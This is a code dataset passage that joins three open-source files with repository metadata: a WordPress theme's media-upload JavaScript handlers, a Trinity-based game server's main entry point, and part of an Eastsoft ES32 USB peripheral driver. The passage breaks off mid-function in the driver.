var topWin = window.dialogArguments || opener || parent || top; function fileDialogStart() { jQuery("#media-upload-error").empty(); } // progress and success handlers for media multi uploads function annoFileQueued(fileObj) { // Get rid of unused form jQuery('.media-blank').remove(); // Collapse a single item if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) { jQuery('.describe-toggle-on').show(); jQuery('.describe-toggle-off').hide(); jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden'); } // Create a progress bar containing the filename jQuery('#media-items').append('<tr id="media-item-' + fileObj.id + '" class="media-item child-of-' + post_id + '"><td colspan="3"><div class="progress"><div class="bar"></div></div><div class="filename original"><span class="percent"></span> ' + fileObj.name + '</div></td></tr>'); // Display the progress div jQuery('.progress', '#media-item-' + fileObj.id).show(); // Disable submit and enable cancel jQuery('#cancel-upload').prop('disabled', false); } function uploadStart(fileObj) { try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove); } catch(e){} return true; } function uploadProgress(fileObj, bytesDone, bytesTotal) { // Lengthen the progress bar var w = jQuery('#media-items').width() - 2, item = jQuery('#media-item-' + fileObj.id); jQuery('.bar', item).width( w * bytesDone / bytesTotal ); jQuery('.percent', item).html( Math.ceil(bytesDone / bytesTotal * 100) + '%' ); if ( bytesDone == bytesTotal ) jQuery('.bar', item).html('<strong class="crunching">' + swfuploadL10n.crunching + '</strong>'); } function annoPrepareMediaItem(fileObj, serverData) { var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id); try { if ( typeof topWin.tb_remove != 'undefined' ) topWin.jQuery('#TB_overlay').click(topWin.tb_remove); } catch(e){} // Old style: Append the HTML returned by the server -- thumbnail and form inputs if ( isNaN(serverData) || !serverData ) { item.append(serverData); prepareMediaItemInit(fileObj); } // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server else { jQuery.post('async-upload.php', {attachment_id:serverData, fetch:f, anno_action: 'anno_async_upload'}, function(data){ item.replaceWith(data); prepareMediaItemInit(fileObj); updateMediaForm(); } ); } } function prepareMediaItemInit(fileObj) { var item = jQuery('#media-item-' + fileObj.id); // Open this item if it says to start open (e.g. to display an error) jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').slideToggle(500).siblings('.toggle').toggle(); } function itemAjaxError(id, html) { var item = jQuery('#media-item-' + id); var filename = jQuery('.filename', item).text(); item.html('<div class="error-div">' + '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>' + '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />' + html + '</div>'); item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})}); } function deleteSuccess(data, textStatus) { if ( data == '-1' ) return itemAjaxError(this.id, 'You do not have permission. Has your session expired?'); if ( data == '0' ) return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?'); var id = this.id, item = jQuery('#media-item-' + id); // Decrement the counters. if ( type = jQuery('#type-of-' + id).val() ) jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 ); if ( item.hasClass('child-of-'+post_id) ) jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 ); if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) { jQuery('.toggle').toggle(); jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden'); } // Vanish it. jQuery('.toggle', item).toggle(); jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden'); item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo'); jQuery('.filename:empty', item).remove(); jQuery('.filename .title', item).css('font-weight','bold'); jQuery('.filename', item).append('<span class="trashnotice"> ' + swfuploadL10n.deleted + ' </span>').siblings('a.toggle').hide(); jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') ); jQuery('.menu_order_input', item).hide(); return; } function deleteError(X, textStatus, errorThrown) { } function updateMediaForm() { var one = jQuery('form.type-form #media-items').children(), items = jQuery('#media-items').children(); // Just one file, no need for collapsible part if ( one.length == 1 ) { jQuery('.slidetoggle', one).slideDown(500).siblings().addClass('hidden').filter('.toggle').toggle(); } // Only show Save buttons when there is at least one file. if ( items.not('.media-blank').length > 0 ) jQuery('.savebutton').show(); else jQuery('.savebutton').hide(); // Only show Gallery button when there are at least two files. if ( items.length > 1 ) jQuery('.insert-gallery').show(); else jQuery('.insert-gallery').hide(); } function uploadSuccess(fileObj, serverData) { // if async-upload returned an error message, place it in the media item div and return if ( serverData.match('media-upload-error') ) { jQuery('#media-item-' + fileObj.id).html(serverData); return; } annoPrepareMediaItem(fileObj, serverData); updateMediaForm(); // Increment the counter. if ( jQuery('#media-item-' + fileObj.id).hasClass('child-of-' + post_id) ) jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1); } function uploadComplete(fileObj) { // If no more uploads queued, enable the submit button if ( swfu.getStats().files_queued == 0 ) { jQuery('#cancel-upload').prop('disabled', true); jQuery('#insert-gallery').prop('disabled', false); } } // wp-specific error handlers // generic message function wpQueueError(message) { jQuery('#media-upload-error').show().text(message); } // file-specific message function wpFileError(fileObj, message) { var item = jQuery('#media-item-' + fileObj.id); var filename = jQuery('.filename', item).text(); item.html('<div class="error-div">' + '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>' + '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />' + message + '</div>'); item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})}); } function fileQueueError(fileObj, error_code, message) { // Handle this error separately because we don't want to create a FileProgress element for it. if ( error_code == SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED ) { wpQueueError(swfuploadL10n.queue_limit_exceeded); } else if ( error_code == SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT ) { fileQueued(fileObj); wpFileError(fileObj, swfuploadL10n.file_exceeds_size_limit); } else if ( error_code == SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE ) { fileQueued(fileObj); wpFileError(fileObj, swfuploadL10n.zero_byte_file); } else if ( error_code == SWFUpload.QUEUE_ERROR.INVALID_FILETYPE ) { fileQueued(fileObj); wpFileError(fileObj, swfuploadL10n.invalid_filetype); } else { wpQueueError(swfuploadL10n.default_error); } } function fileDialogComplete(num_files_queued) { try { if (num_files_queued > 0) { this.startUpload(); } } catch (ex) { this.debug(ex); } } function switchUploader(s) { var f = document.getElementById(swfu.customSettings.swfupload_element_id), h = document.getElementById(swfu.customSettings.degraded_element_id); if ( s ) { f.style.display = 'block'; h.style.display = 'none'; } else { f.style.display = 'none'; h.style.display = 'block'; } } function swfuploadPreLoad() { if ( !uploaderMode ) { switchUploader(1); } else { switchUploader(0); } } function swfuploadLoadFailed() { switchUploader(0); jQuery('.upload-html-bypass').hide(); } function uploadError(fileObj, errorCode, message) { switch (errorCode) { case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL: wpFileError(fileObj, swfuploadL10n.missing_upload_url); break; case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED: wpFileError(fileObj, swfuploadL10n.upload_limit_exceeded); break; case SWFUpload.UPLOAD_ERROR.HTTP_ERROR: wpQueueError(swfuploadL10n.http_error); break; case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED: wpQueueError(swfuploadL10n.upload_failed); break; case SWFUpload.UPLOAD_ERROR.IO_ERROR: wpQueueError(swfuploadL10n.io_error); break; case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR: wpQueueError(swfuploadL10n.security_error); break; case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED: case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED: jQuery('#media-item-' + fileObj.id).remove(); break; default: wpFileError(fileObj, swfuploadL10n.default_error); } } function cancelUpload() { swfu.cancelQueue(); } // remember the last used image size, alignment and url jQuery(document).ready(function($){ $('input[type="radio"]', '#media-items').live('click', function(){ var tr = $(this).closest('tr'); if ( $(tr).hasClass('align') ) setUserSetting('align', $(this).val()); else if ( $(tr).hasClass('image-size') ) setUserSetting('imgsize', $(this).val()); }); $('button.button', '#media-items').live('click', function(){ var c = this.className || ''; c = c.match(/url([^ '"]+)/); if ( c && c[1] ) { setUserSetting('urlbutton', c[1]); $(this).siblings('.urlfield').val( $(this).attr('title') ); } }); });
Deepak23in/askForSolutionTest
wp-content/themes/annotum-base/functions/tinymce-upload/handlers.js
JavaScript
gpl-2.0
9,985
/* * Copyright (C) 2005-2008 MaNGOS <http://www.mangosproject.org/> * * Copyright (C) 2008 Trinity <http://www.trinitycore.org/> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /// \addtogroup Trinityd Trinity Daemon /// @{ /// \file #include "SystemConfig.h" #include "Common.h" #include "Database/DatabaseEnv.h" #include "Config/Config.h" #include "ProgressBar.h" #include "Log.h" #include "Master.h" #include "vmap/VMapCluster.h" #include <ace/Get_Opt.h> #ifdef WIN32 #include "ServiceWin32.h" char serviceName[] = "Trinityd"; char serviceLongName[] = "Trinity core service"; char serviceDescription[] = "Massive Network Game Object Server"; #else #include "PosixDaemon.h" #endif /* * 0 - not in daemon/service mode * 1 - windows service stopped * 2 - windows service running * 3 - windows service paused * 6 - linux daemon */ RunModes runMode = MODE_NORMAL; DatabaseType GameDataDatabase; ///< Accessor to the world database DatabaseType RealmDataDatabase; ///< Accessor to the character database DatabaseType AccountsDatabase; ///< Accessor to the realm/login database uint32 realmID; ///< Id of the realm /// Print out the usage string for this program on the console. void usage(const char *prog) { sLog.outString("Usage: \n %s [<options>]\n" " -v, --version print version and exit\n\r" " -c config_file use config_file as configuration file\n\r" #ifdef WIN32 " Running as service functions:\n\r" " -s run run as service\n\r" " -s install install service\n\r" " -s uninstall uninstall service\n\r" #endif , prog); } /// Launch the Trinity server extern int main(int argc, char **argv) { ///- Command line parsing char const* cfg_file = _LOOKING4GROUP_CORE_CONFIG; char const *options = ":a:c:s:p:i:"; char const *process = 0; int process_id = 0; ACE_Get_Opt cmd_opts(argc, argv, options); cmd_opts.long_option("version", 'v', ACE_Get_Opt::NO_ARG); char serviceDaemonMode = '\0'; int option; while ((option = cmd_opts()) != EOF) { switch (option) { case 'c': cfg_file = cmd_opts.opt_arg(); break; case 'v': printf("%s\n", VERSION_STR); return 0; case 's': { const char *mode = cmd_opts.opt_arg(); if (!strcmp(mode, "run")) serviceDaemonMode = 'r'; #ifdef WIN32 else if (!strcmp(mode, "install")) serviceDaemonMode = 'i'; else if (!strcmp(mode, "uninstall")) serviceDaemonMode = 'u'; #else else if (!strcmp(mode, "stop")) serviceDaemonMode = 's'; #endif else { printf("Runtime-Error: -%c unsupported argument %s\n", cmd_opts.opt_opt(), mode); usage(argv[0]); return 1; } break; } case 'p': { process = cmd_opts.opt_arg(); break; } case 'i': { process_id = atoi(cmd_opts.opt_arg()); break; } case ':': printf("Runtime-Error: -%c option requires an input argument\n", cmd_opts.opt_opt()); usage(argv[0]); return 1; default: printf("Runtime-Error: bad format of commandline arguments\n"); usage(argv[0]); return 1; } } #ifdef WIN32 // windows service command need execute before config read switch (serviceDaemonMode) { case 'i': if (WinServiceInstall()) printf("Installing service"); return 1; case 'u': if (WinServiceUninstall()) printf("Uninstalling service"); return 1; case 'r': WinServiceRun(); break; } #endif if (!sConfig.SetSource(cfg_file)) { printf("Could not find configuration file %s.", cfg_file); return 1; } int vmapProcesses = sConfig.GetIntDefault("vmap.clusterProcesses", 1); bool vmapCluster = sConfig.GetBoolDefault("vmap.enableCluster", false); if(process) { if(strcmp(process, VMAP_CLUSTER_MANAGER_PROCESS) == 0) { VMAP::VMapClusterManager vmap_manager(vmapProcesses); return vmap_manager.Start(); } else if(strcmp(process, VMAP_CLUSTER_PROCESS) == 0) { VMAP::VMapClusterProcess vmapProcess(process_id); return vmapProcess.Start(); } else printf("Runtime-Error: bad format of process arguments\n"); return 1; } #ifdef USING_FIFO_PIPES if(vmapCluster) { ACE_OS::system("rm -f " VMAP_CLUSTER_PREFIX "*"); } #endif #ifndef WIN32 // posix daemon commands need apply after config read switch (serviceDaemonMode) { case 'r': startDaemon("Core"); runMode = MODE_DAEMON; break; case 's': stopDaemon(); break; } #endif sLog.Initialize(); sLog.outString("Using configuration file %s.", cfg_file); uint32 confVersion = sConfig.GetIntDefault("ConfVersion", 0); if (confVersion < _LOOKING4GROUP_CORE_CONFVER) { sLog.outLog(LOG_DEFAULT, "ERROR: *********************************************************************************"); sLog.outLog(LOG_DEFAULT, "ERROR: WARNING: Your trinitycore.conf version indicates your conf file is out of date!"); sLog.outLog(LOG_DEFAULT, "ERROR: Please check for updates, as your current default values may cause"); sLog.outLog(LOG_DEFAULT, "ERROR: strange behavior."); sLog.outLog(LOG_DEFAULT, "ERROR: *********************************************************************************"); clock_t pause = 3000 + clock(); while (pause > clock()) {} } BarGoLink::SetOutputState(sConfig.GetBoolDefault("ShowProgressBars", false)); if(vmapCluster) VMAP::VMapClusterManager::SpawnVMapProcesses(argv[0], cfg_file, vmapProcesses); ///- and run the 'Master' /// \todo Why do we need this 'Master'? Can't all of this be in the Main as for Realmd? return sMaster.Run(); // at sMaster return function exist with codes // 0 - normal shutdown // 1 - shutdown at error // 2 - restart command used, this code can be used by restarter for restart Trinityd } /// @}
honeyhoney/L4G_Core
src/Looking4GroupCore/Main.cpp
C++
gpl-2.0
7,667
/** ********************************************************************************* * * @file ald_usb.c * @brief USB module driver. * * @version V1.0 * @date 25 Dec 2019 * @author AE Team * @note * * Copyright (C) Shanghai Eastsoft Microelectronics Co. Ltd. All rights reserved. * ********************************************************************************* */ #include "ald_usb.h" #include "ald_syscfg.h" /** @addtogroup ES32FXXX_ALD * @{ */ /** @defgroup USB USB * @brief USB module driver * @{ */ #ifdef ALD_USB /** * @defgroup USB_Public_Functions USB Public Function * @{ */ /** @defgroup USB_Public_Functions_Group1 Base functions * @brief Base functions * @{ */ /** * @brief Gets the number of current frame. * @retval Number of the frame. */ uint32_t ald_usb_frame_number_get(void) { return USB0->FRAME; } /** * @brief Request the session. * @param start: true/false. * @retval None */ void ald_usb_otg_session_request(bool start) { if (start) USB0->DEVCTL |= USB_DEVCTL_SESSION; else USB0->DEVCTL &= ~(USB_DEVCTL_SESSION); } /** * @brief Gets the mode. * @retval Mode */ uint32_t ald_usb_mode_get(void) { return USB0->DEVCTL & (USB_DEVCTL_DEV | USB_DEVCTL_HOST | USB_DEVCTL_SESSION | USB_DEVCTL_VBUS_M); } /** * @brief Enable/Disable the high mode. * @param enable: ENABLE/DISABLE. * @retval None */ void ald_usb_high_speed_enable(bool enable) { if (enable) USB0->POWER |= USB_POWER_HS_EN; else USB0->POWER &= ~(USB_POWER_HS_EN); } /** * @brief Gets the speed of the device. * @retval Type of the speed. */ uint32_t ald_usb_device_speed_get(void) { if (USB0->POWER & USB_POWER_HS_EN) return USB_HIGH_SPEED; return USB_FULL_SPEED; } /** * @brief Gets the number of the endpoint. * @retval Number of the endpoint. */ uint32_t ald_usb_num_ep_get( void) { return NUM_USB_EP; } /** * @brief Reset USB Control. * @retval None */ void ald_usb_control_reset(void) { ald_rmu_reset_periperal(RMU_PERH_USB); } /** * @brief Output USB clock via PA15, 60MHz/256=234.375KHz. * @retval None */ void ald_usb_clock_output(void) { SYSCFG_UNLOCK(); SYSCFG->TESTKEY = 0x5A962814; SYSCFG->TESTKEY = 0xE7CB69A5; SYSCFG->USBTEST = 0x43; return; } /** * @brief Starts eye diagram for high-speed host. * @param buf: Buffer for eye diagram. * @param len: Length of the buffer. * @retval Status, 0 means success, other values means failure. */ int ald_usb_eye_diagram_start(uint8_t *buf, uint16_t len) { if (len < 53) return -1; ald_usb_ep_data_put(0, buf, 53); USB0->TEST = 0x08 | 0x90; ald_delay_ms(20); USB0->CSR0L = USB_CSRL0_TXRDY; return 0; } /** * @} */ /** @defgroup USB_Public_Functions_Group2 Device functions * @brief Device functions * @{ */ /** * @brief Gets the address. * @retval Address. */ uint8_t ald_usb_dev_get_addr(void) { return USB0->FADDR; } /** * @brief Sets the address. * @param addr: The address which will be set. * @retval None */ void ald_usb_dev_set_addr(uint8_t addr) { USB0->FADDR = addr; } /** * @brief Enable connection. * @retval None */ void ald_usb_dev_connect(void) { USB0->POWER |= USB_POWER_SOFTCONN; } /** * @brief Disable connection. * @retval None */ void ald_usb_dev_disconnect(void) { USB0->POWER &= ~(USB_POWER_SOFTCONN); } /** * @brief Configure the endpoint in device mode. * @param ep_idx: Index of the endpoint * @param p_max: Size of the maximum package. * @param flags: Flags of the endpoint. * @retval None */ void ald_usb_dev_ep_config(uint32_t ep_idx, uint32_t p_max, uint32_t flags) { uint32_t tmp = 0; if (flags & USB_EP_DEV_IN) { USB0->CSR[ep_idx - 1].TXxMAXP = p_max; if (flags & USB_EP_AUTO_SET) tmp |= USB_TXCSRH1_AUTOSET; if ((flags & USB_EP_MODE_MASK) == USB_EP_MODE_ISOC) tmp |= USB_TXCSRH1_ISO; USB0->CSR[ep_idx - 1].TXxCSRH = (uint8_t)tmp; USB0->CSR[ep_idx - 1].TXxCSRL = USB_TXCSRL1_CLRDT; } else { USB0->CSR[ep_idx - 1].RXxMAXP = p_max; if (flags & USB_EP_AUTO_CLEAR) tmp = USB_RXCSRH1_AUTOCL; if (flags & USB_EP_DIS_NYET) tmp |= USB_RXCSRH1_DISNYET; if ((flags & USB_EP_MODE_MASK) == USB_EP_MODE_ISOC) tmp |= USB_RXCSRH1_ISO; USB0->CSR[ep_idx - 1].RXxCSRH = (uint8_t)tmp; USB0->CSR[ep_idx - 1].RXxCSRL = USB_RXCSRL1_CLRDT; } } /** * @brief Gets the parameters of the endpoint. * @param ep_idx: Index of the endpoint * @param p_max: Size of the maximum package. * @param flags: Flags of the endpoint. * @retval None */ void ald_usb_dev_ep_get_config(uint32_t ep_idx, uint32_t *p_max, uint32_t *flags) { uint32_t tmp; if (*flags & USB_EP_DEV_IN) { *flags = USB_EP_DEV_IN; *p_max = (uint32_t)USB0->CSR[ep_idx - 1].TXxMAXP; tmp = (uint32_t)USB0->CSR[ep_idx - 1].TXxCSRH; if (tmp & USB_TXCSRH1_AUTOSET) *flags |= USB_EP_AUTO_SET; if (tmp & USB_TXCSRH1_ISO) *flags |= USB_EP_MODE_ISOC; else *flags |= USB_EP_MODE_BULK; } else { *flags = USB_EP_DEV_OUT; *p_max = (uint32_t)USB0->CSR[ep_idx - 1].RXxMAXP; tmp = (uint32_t)USB0->CSR[ep_idx - 1].RXxCSRH; if (tmp & USB_RXCSRH1_AUTOCL) *flags |= USB_EP_AUTO_CLEAR; if (tmp & USB_RXCSRH1_ISO) *flags |= USB_EP_MODE_ISOC; else *flags |= USB_EP_MODE_BULK; } } /** * @brief Acknowledge the data from the host. * @param ep_idx: Index of the endpoint * @param last: true/false * @retval None */ void ald_usb_dev_ep_data_ack(uint32_t ep_idx, bool last) { if (ep_idx == USB_EP_0) USB0->CSR0L = USB_CSRL0_RXRDYC | (last ? USB_CSRL0_DATAEND : 0); else USB0->CSR[ep_idx - 1].RXxCSRL &= ~(USB_RXCSRL1_RXRDY); } /** * @brief Stall the endpoint. * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval None */ void ald_usb_dev_ep_stall(uint32_t ep_idx, uint32_t flags) { if (ep_idx == USB_EP_0) USB0->CSR0L |= (USB_CSRL0_STALL | USB_CSRL0_RXRDYC); else if (flags == USB_EP_DEV_IN) USB0->CSR[ep_idx - 1].TXxCSRL |= USB_TXCSRL1_STALL; else USB0->CSR[ep_idx - 1].RXxCSRL |= USB_RXCSRL1_STALL; } /** * @brief Cancel the stall status. * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval None */ void ald_usb_dev_ep_stall_clear(uint32_t ep_idx, uint32_t flags) { if (ep_idx == USB_EP_0) USB0->CSR0L &= ~USB_CSRL0_STALLED; else if (flags == USB_EP_DEV_IN) { USB0->CSR[ep_idx - 1].TXxCSRL &= ~(USB_TXCSRL1_STALL | USB_TXCSRL1_STALLED); USB0->CSR[ep_idx - 1].TXxCSRL |= USB_TXCSRL1_CLRDT; } else { USB0->CSR[ep_idx - 1].RXxCSRL &= ~(USB_RXCSRL1_STALL | USB_RXCSRL1_STALLED); USB0->CSR[ep_idx - 1].RXxCSRL |= USB_RXCSRL1_CLRDT; } } /** * @brief Clear the status of the endpoint. * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval None */ void ald_usb_dev_ep_status_clear(uint32_t ep_idx, uint32_t flags) { if (ep_idx == USB_EP_0) { if (flags & USB_DEV_EP0_OUT_PKTRDY) USB0->CSR0L |= USB_CSRL0_RXRDYC; if (flags & USB_DEV_EP0_SETUP_END) USB0->CSR0L |= USB_CSRL0_SETENDC; if (flags & USB_DEV_EP0_SENT_STALL) USB0->CSR0L &= ~(USB_DEV_EP0_SENT_STALL); } else { USB0->CSR[ep_idx - 1].TXxCSRL &= ~(flags & (USB_DEV_TX_SENT_STALL | USB_DEV_TX_UNDERRUN)); USB0->CSR[ep_idx - 1].RXxCSRL &= ~((flags & (USB_DEV_RX_SENT_STALL | USB_DEV_RX_DATA_ERROR | USB_DEV_RX_OVERRUN)) >> USB_RX_EPSTATUS_SHIFT); } } /** * @} */ /** @defgroup USB_Public_Functions_Group3 Host functions * @brief Host functions * @{ */ /** * @brief Gets the device's address. * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval Address */ uint32_t ald_usb_host_addr_get(uint32_t ep_idx, uint32_t flags) { if (flags & USB_EP_HOST_OUT) return USB0->ADDR[ep_idx].TXxFUNCADDR; else return USB0->ADDR[ep_idx].RXxFUNCADDR; } /** * @brief Sets the device's address. * @param ep_idx: Index of the endpoint. * @param addr: The device's address. * @param flags: Flags. * @retval None */ void ald_usb_host_addr_set(uint32_t ep_idx, uint32_t addr, uint32_t flags) { if (flags & USB_EP_HOST_OUT) USB0->ADDR[ep_idx].TXxFUNCADDR = addr; else USB0->ADDR[ep_idx].RXxFUNCADDR = addr; } /** * @brief Configure the endpoint in host mode. * @param ep_idx: Index of the endpoint. * @param p_max: Size of the maximum package. * @param nak_val: Value of the nack. * @param t_ep: Target endpoint. * @param flags: Flags. * @retval None */ void ald_usb_host_ep_config(uint32_t ep_idx, uint32_t p_max, uint32_t nak_val, uint32_t t_ep, uint32_t flags) { uint32_t tmp; if (ep_idx == USB_EP_0) { USB0->NACK = nak_val; if (flags & USB_EP_SPEED_HIGH) USB0->TYPE0 = USB_TYPE0_SPEED_HIGH; else if (flags & USB_EP_SPEED_FULL) USB0->TYPE0 = USB_TYPE0_SPEED_FULL; else USB0->TYPE0 = USB_TYPE0_SPEED_LOW; } else { tmp = t_ep; if (flags & USB_EP_SPEED_HIGH) tmp |= USB_TXTYPE1_SPEED_HIGH; else if (flags & USB_EP_SPEED_FULL) tmp |= USB_TXTYPE1_SPEED_FULL; else tmp |= USB_TXTYPE1_SPEED_LOW; switch (flags & USB_EP_MODE_MASK) { case USB_EP_MODE_BULK: tmp |= USB_TXTYPE1_PROTO_BULK; break; case USB_EP_MODE_ISOC: tmp |= USB_TXTYPE1_PROTO_ISOC; break; case USB_EP_MODE_INT: tmp |= USB_TXTYPE1_PROTO_INT; break; case USB_EP_MODE_CTRL: tmp |= USB_TXTYPE1_PROTO_CTRL; break; } if (flags & USB_EP_HOST_OUT) { USB0->CSR[ep_idx - 1].TXxTYPE = tmp; USB0->CSR[ep_idx - 1].TXxINTERVAL = nak_val; USB0->CSR[ep_idx - 1].TXxMAXP = p_max; tmp = 0; if (flags & USB_EP_AUTO_SET) tmp |= USB_TXCSRH1_AUTOSET; USB0->CSR[ep_idx - 1].TXxCSRH = (uint8_t)tmp; } else { USB0->CSR[ep_idx - 1].RXxTYPE = tmp; USB0->CSR[ep_idx - 1].RXxINTERVAL = nak_val; USB0->CSR[ep_idx - 1].RXxMAXP = p_max; tmp = 0; if (flags & USB_EP_AUTO_CLEAR) tmp |= USB_RXCSRH1_AUTOCL; if (flags & USB_EP_AUTO_REQUEST) tmp |= USB_RXCSRH1_AUTORQ; USB0->CSR[ep_idx - 1].RXxCSRH = (uint8_t)tmp; } } } /** * @brief Acknowledge the data in host mode. * @param ep_idx: Index of the endpoint. * @retval None */ void ald_usb_host_ep_data_ack(uint32_t ep_idx) { if (ep_idx == USB_EP_0) USB0->CSR0L &= ~(USB_CSRL0_RXRDY); else USB0->CSR[ep_idx - 1].RXxCSRL &= ~(USB_RXCSRL1_RXRDY); } /** * @brief Toggle the data in host mode. * @param ep_idx: Index of the endpoint. * @param toggle: true/false. * @param flags: Flags. * @retval None */ void ald_usb_host_ep_data_toggle(uint32_t ep_idx, bool toggle, uint32_t flags) { uint32_t tmp = 0; if (toggle) { if (ep_idx == USB_EP_0) tmp = USB_CSRH0_DT; else if (flags == USB_EP_HOST_IN) tmp = USB_RXCSRH1_DT; else tmp = USB_TXCSRH1_DT; } if (ep_idx == USB_EP_0) { USB0->CSR0H = ((USB0->CSR0H & ~(USB_CSRH0_DTWE | USB_CSRH0_DT)) | (tmp | USB_CSRH0_DTWE)); } else if (flags == USB_EP_HOST_IN) { USB0->CSR[ep_idx - 1].RXxCSRH = ((USB0->CSR[ep_idx - 1].RXxCSRH & ~(USB_RXCSRH1_DTWE | USB_RXCSRH1_DT)) | (tmp | USB_RXCSRH1_DTWE)); } else { USB0->CSR[ep_idx - 1].TXxCSRH = ((USB0->CSR[ep_idx - 1].TXxCSRH & ~(USB_TXCSRH1_DTWE | USB_TXCSRH1_DT)) | (tmp | USB_TXCSRH1_DTWE)); } } /** * @brief Clear the status of endpoint in host mode. * @param ep_idx: Index of the endpoint. * @param flags: Flags. * @retval None */ void ald_usb_host_ep_status_clear(uint32_t ep_idx, uint32_t flags) { if (ep_idx == USB_EP_0) { USB0->CSR0L &= ~flags; } else { USB0->CSR[ep_idx - 1].TXxCSRL &= ~flags; USB0->CSR[ep_idx - 1].RXxCSRL &= ~flags; } } /** * @brief Gets the HUB's address. * @param ep_idx: Index of the endpoint. * @param flags: Flags. * @retval Address */ uint32_t ald_usb_host_hub_addr_get(uint32_t ep_idx, uint32_t flags) { if (flags & USB_EP_HOST_OUT) return USB0->ADDR[ep_idx].TXxHUBADDR; else return USB0->ADDR[ep_idx].RXxHUBADDR; } /** * @brief Sets the HUB's address. * @param ep_idx: Index of the endpoint. * @param addr: HUB's address which will be set. * @param flags: Flags. * @retval Address */ void ald_usb_host_hub_addr_set(uint32_t ep_idx, uint32_t addr, uint32_t flags) { if (flags & USB_EP_HOST_OUT) USB0->ADDR[ep_idx].TXxHUBADDR = addr; else USB0->ADDR[ep_idx].RXxHUBADDR = addr; if (ep_idx == USB_EP_0) { if (flags & USB_EP_SPEED_FULL) USB0->TYPE0 |= USB_TYPE0_SPEED_FULL; else if (flags & USB_EP_SPEED_HIGH) USB0->TYPE0 |= USB_TYPE0_SPEED_HIGH; else USB0->TYPE0 |= USB_TYPE0_SPEED_LOW; } } /** * @brief Disable power. * @retval None */ void ald_usb_host_pwr_disable(void) { return; } /** * @brief Enable power. * @retval None */ void ald_usb_host_pwr_enable(void) { return; } /** * @brief Configure power in host mode. * @param flags: Flags * @retval None */ void ald_usb_host_pwr_config(uint32_t flags) { return; } /** * @brief Disable the fault parameters of the power. * @retval None */ void ald_usb_host_pwr_fault_disable(void) { return; } /** * @brief Enable the fault parameters of the power. * @retval None */ void ald_usb_host_pwr_fault_enable(void) { return; } /** * @brief Request data IN(from device to host) * @param ep_idx: Index of the endpoint. * @retval None */ void ald_usb_host_request_in(uint32_t ep_idx) { if (ep_idx == USB_EP_0) USB0->CSR0L = USB_RXCSRL1_REQPKT; else USB0->CSR[ep_idx - 1].RXxCSRL = USB_RXCSRL1_REQPKT; } /** * @brief Clear the status of request IN. * @param ep_idx: Index of the endpoint. * @retval None */ void ald_usb_host_request_in_clear(uint32_t ep_idx) { if (ep_idx == USB_EP_0) USB0->CSR0L &= ~(USB_RXCSRL1_REQPKT); else USB0->CSR[ep_idx - 1].RXxCSRL &= ~(USB_RXCSRL1_REQPKT); } /** * @brief Request data IN at endpoint 0. * @retval None */ void ald_usb_host_request_status(void) { USB0->CSR0L = USB_CSRL0_REQPKT | USB_CSRL0_STATUS; } /** * @brief Reset the USB's bus. * @param start: true/false. * @retval None */ void ald_usb_host_reset(bool start) { if (start) USB0->POWER |= USB_POWER_RESET; else USB0->POWER &= ~(USB_POWER_RESET); } /** * @brief Resume the devices. * @param start: true/false. * @retval None */ void ald_usb_host_resume(bool start) { if (start) USB0->POWER |= USB_POWER_RESUME; else USB0->POWER &= ~(USB_POWER_RESUME); } /** * @brief Suspend the devices. * @retval None */ void ald_usb_host_suspend(void) { USB0->POWER |= USB_POWER_SUSPEND; } /** * @brief Gets the device's speed. * @retval Type of the speed. */ uint32_t ald_usb_host_speed_get(void) { if (USB0->POWER & USB_POWER_HS_M) return USB_HIGH_SPEED; if (USB0->DEVCTL & USB_DEVCTL_FSDEV) return USB_FULL_SPEED; if (USB0->DEVCTL & USB_DEVCTL_LSDEV) return USB_LOW_SPEED; return USB_UNDEF_SPEED; } /** * @brief Sets the endpoint speed. * @param ep_idx: Index of the endpoint. * @param flags: Type of the speed. * @retval None */ void 